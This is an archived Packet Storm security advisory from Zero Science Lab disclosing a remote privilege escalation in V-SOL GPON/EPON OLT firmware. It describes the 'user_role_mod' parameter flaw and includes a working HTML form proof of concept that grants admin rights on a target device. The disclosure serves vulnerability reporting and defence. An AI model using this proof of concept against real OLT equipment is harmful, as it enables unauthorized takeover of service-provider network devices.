exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

V-SOL GPON/EPON OLT Platform 2.03 Remote Privilege Escalation

V-SOL GPON/EPON OLT Platform 2.03 Remote Privilege Escalation
Posted Sep 26, 2019
Authored by LiquidWorm | Site zeroscience.mk

V-SOL GPON/EPON OLT Platform version 2.03 suffers from a remote privilege escalation vulnerability.

tags | exploit, remote
SHA-256 | af41645ae224156e6c5f7c68ef19c06d23cd163fc3df71ad85ed98ac7a9666ce

V-SOL GPON/EPON OLT Platform 2.03 Remote Privilege Escalation

Change Mirror Download

V-SOL GPON/EPON OLT Platform v2.03 Remote Privilege Escalation


Vendor: Guangzhou V-SOLUTION Electronic Technology Co., Ltd.
Product web page: https://www.vsolcn.com
Affected version: V2.03.62R_IPv6
V2.03.54R
V2.03.52R
V2.03.49
V2.03.47
V2.03.40
V2.03.26
V2.03.24
V1.8.6
V1.4

Summary: GPON is currently the leading FTTH standard in broadband access
technology being widely deployed by service providers around the world.
GPON/EPON OLT products are 1U height 19 inch rack mount products. The
features of the OLT are small, convenient, flexible, easy to deploy, high
performance. It is appropriate to be deployed in compact room environment.
The OLTs can be used for 'Triple-Play', VPN, IP Camera, Enterprise LAN and
ICT applications.

Desc: The application suffers from a privilege escalation vulnerability.
Normal user can elevate his/her privileges by sending a HTTP POST request
setting the parameter 'user_role_mod' to integer value '1' gaining admin
rights.

Tested on: GoAhead-Webs


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2019-5538
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5538.php

25.09.2019

--


<html>
<body>
<form action="http://192.168.8.200/action/user.html" method="POST">
<input type="hidden" name="user_name_add" value="" />
<input type="hidden" name="user_password_add" value="" />
<input type="hidden" name="password_confirm_add" value="" />
<input type="hidden" name="user_role" value="0" />
<input type="hidden" name="user_password_mod" value="test" />
<input type="hidden" name="password_confirm_mod" value="test" />
<input type="hidden" name="user_role_mod" value="1" />
<input type="hidden" name="option_um" value="17" />
<input type="hidden" name="who" value="1" />
<input type="submit" value="Escalate" />
</form>
</body>
</html>
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close